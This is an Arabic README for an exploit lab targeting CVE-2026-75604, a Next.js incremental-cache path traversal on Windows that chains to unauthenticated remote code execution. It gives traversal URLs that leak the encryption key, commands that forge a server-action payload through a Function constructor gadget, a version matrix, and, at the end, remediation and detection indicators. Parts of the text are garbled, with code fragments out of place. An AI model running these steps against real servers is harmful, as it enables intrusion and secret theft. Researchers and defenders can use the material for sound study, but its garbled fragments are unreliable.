
مختبر إعادة إنتاج وأدوات استغلال لـ CVE-2026-75604، وهو ثغرة اجتياز مسار في ذاكرة التخزين المؤقت التزايدية لـ Next.js تؤدي إلى تنفيذ تعليمات برمجية عن بُعد (RCE) غير مصادق عليه على نظام Windows. يتضمن PoC، وCLI للتزوير، وبيئة اختبار.
مختبر إعادة إنتاج وأدوات استغلال لثغرة CVE-2026-75604، وهي ثغرة اجتياز مسار غير مصادق عليها في ذاكرة التخزين المؤقت التزايدية في Next.js تؤثر على أنظمة Windows. شرطة مائلة عكسية واحدة غير مُهرَّبة تسمح للمهاجم بقراءة وكتابة ملفات خارج دليل ذاكرة التخزين المؤقت؛ وفي الإصدارات المناسبة وشكل التطبيق المناسب تتسلسل إلى تنفيذ كود عن بُعد غير مصادق عليه.
بحث بواسطة Fortbridge. الشرح الكامل: إعادة إنتاج CVE-2026-75604 (رابط المدونة - يُحدَّث بعد النشر).
⚠️ للاستخدام المصرح به فقط. هذا تطبيق ضعيف عمدًا واستغلال عملي لثغرة تم إصلاحها. استخدمه على شبكة مختبر معزولة تملكها. لا تنشر الهدف أبدًا في أي مكان يمكن الوصول إليه من بيئة الإنتاج أو الإنترنت.
escapePathDelimiters (أدوات مسار Next.js) تُهرّب / و# و? ولكن ليس .
الشرطة المائلة العكسية المشفرة بنسبة مئوية () في مقطع مسار تُفك ترميزها إلى خام، وتنجو
إلى مفتاح ذاكرة التخزين المؤقت التزايدية، ولأن في Windows هو فاصل مسار -
فإن تخرج من جذر ذاكرة التخزين المؤقت. نفس الكود يدعم
ذاكرة التخزين المؤقت، مما يتيح قراءة وكتابة ملفات عشوائية. Windows فقط؛ Linux/macOS تتعامل مع
كحرف اسم ملف عادي.
\%5C\\path.join()\المتأثرة: 13.4-15.5.23 و16.0-16.3.2. المُصلَّحة: 15.5.24 / 16.3.3.
اجتياز المسار يغطي النطاق المتأثر بالكامل، لكن أداة تنفيذ الكود عن بُعد (سلسلة خصائص React Flight
constructor:constructor التي تتحلل إلى مُنشئ Function)
تعمل فقط حيث يفتقر react-server-dom-webpack إلى حارس مرجعي أُضيف في منتصف دورة الحياة:
| نطاق Next.js | الأداة ← Function | التأثير |
|---|---|---|
| 13.4 - 14.x | لا (لا دعم لمسار الخصائص) | قراءة / كتابة / تجاوز تفويض |
| 15.0.0 - 15.5.22 | نعم | قادر على تنفيذ كود عن بُعد |
| 15.5.23 | لا (أُضيف الحارس) | اجتياز فقط |
| 16.0.0 - 16.2.x | نعم | قادر على تنفيذ كود عن بُعد |
| 16.3.0 - 16.3.2 | لا (أُضيف الحارس) | اجتياز فقط |
| 15.5.24 / 16.3.3 | - | مُصلَّحة |
يتطلب تنفيذ الكود عن بُعد أيضًا إجراء خادم عالي المستوى في التطبيق يستدعي قيمة مرتبطة بإغلاق
مع إدخال مستخدم (boundFn(input)()). التطبيقات التي لا تحتوي على هذا النمط لا تزال تواجه
كشفًا وكتابة/رفض خدمة وتجاوز تفويض إجراء الخادم. راجع research/FINDINGS.md
وresearch/rce-version-matrix.txt.
| المسار | ماذا |
|---|---|
setup-windows.ps1 | بناء وبدء المختبر الضعيف على مضيف Windows (افتراضي Next 16.2.0) |
app/ | هدف ضعيف بحد أدنى: إجراء خادم رئيسي (مغسلة تنفيذ كود عن بُعد) + مساران متعددان مخزنان مؤقتًا |
exploit.mjs | إثبات مفهوم للقراءة فقط - تسريب encryptionKey عبر الاجتياز (--burp، --raw، --write) |
forge-cli.mjs | decrypt وسيط مرتبط حقيقي / gadget تزوير كتلة Function |
send-action.mjs | الخطوتان 4-5 في أمر واحد: POST مُزوَّر + قراءة الناتج مرة أخرى (--proof، --burp) |
harness/ | إعادة اكتشاف مستقلة عن نظام التشغيل - تشغيل كود 16.3.2/16.3.3 غير المعدل تحت path.win32 |
BURP-STEPS.md | وصفة إعادة الإنتاج المتماسكة من 5 خطوات |
research/ | فرق التصحيح، مصفوفة الإصدارات، النتائج |
evidence/ | لقطات شاشة من تشغيل مُتحقق منه |
# بناء وبدء المختبر الضعيف (Next.js 16.2.0)
powershell -File setup-windows.ps1 # يطبع BUILD_ID وعناوين URL للفحص
# الخطوة 1 (المتصفح): تسخين، ثم فتح قراءة الاجتياز ← encryptionKey
# http://<host>:3000/app-cache/..%5C..%5Cserver-reference-manifest (تسخين)
# http://<host>:3000/_next/data/<BUILD_ID>/pages-cache/..%5C..%5Cserver-reference-manifest.json
# الخطوتان 2-3: فك تشفير وسيط مرتبط حقيقي، ثم تزوير أداة Function
node forge-cli.mjs decrypt <key> <actionId> <blob-from-page>
node forge-cli.mjs gadget <key> <actionId>
# الخطوتان 4-5 (عبر Burp): POST مُزوَّر + قراءة مرة أخرى في أمر واحد
node send-action.mjs http://<host>:3000 --key <key> --action <actionId> --proof pwn --burp
لا تملك جهاز Windows؟ node harness/harness.mjs يثبت الاجتياز على أي نظام تشغيل عن طريق تشغيل
كود Next.js 16.3.2 و16.3.3 الفعلي المُرسل مع ربط path بـ path.win32.
قم بالترقية إلى 15.5.24 أو 16.3.3. لا يوجد حل بديل موضعي للمضيفات المتأثرة
على Windows. قم بتدوير الأسرار التي قد تكون القراءة كشفتها - خاصة
NEXT_SERVER_ACTIONS_ENCRYPTION_KEY (المفتاح المُسرَّب يظل صالحًا عبر عمليات إعادة البناء عند تثبيته).
%5C / ..%5C في مقطع مسار إلى /_next/data/… أو مسارات App Router المخزنة مؤقتًا.{"pageProps":…,"__N_SSG":true} (القراءة التدميرية)..html / .rsc / .meta) المكتوبة خارج .next\server\app\ أو .next\server\pages\.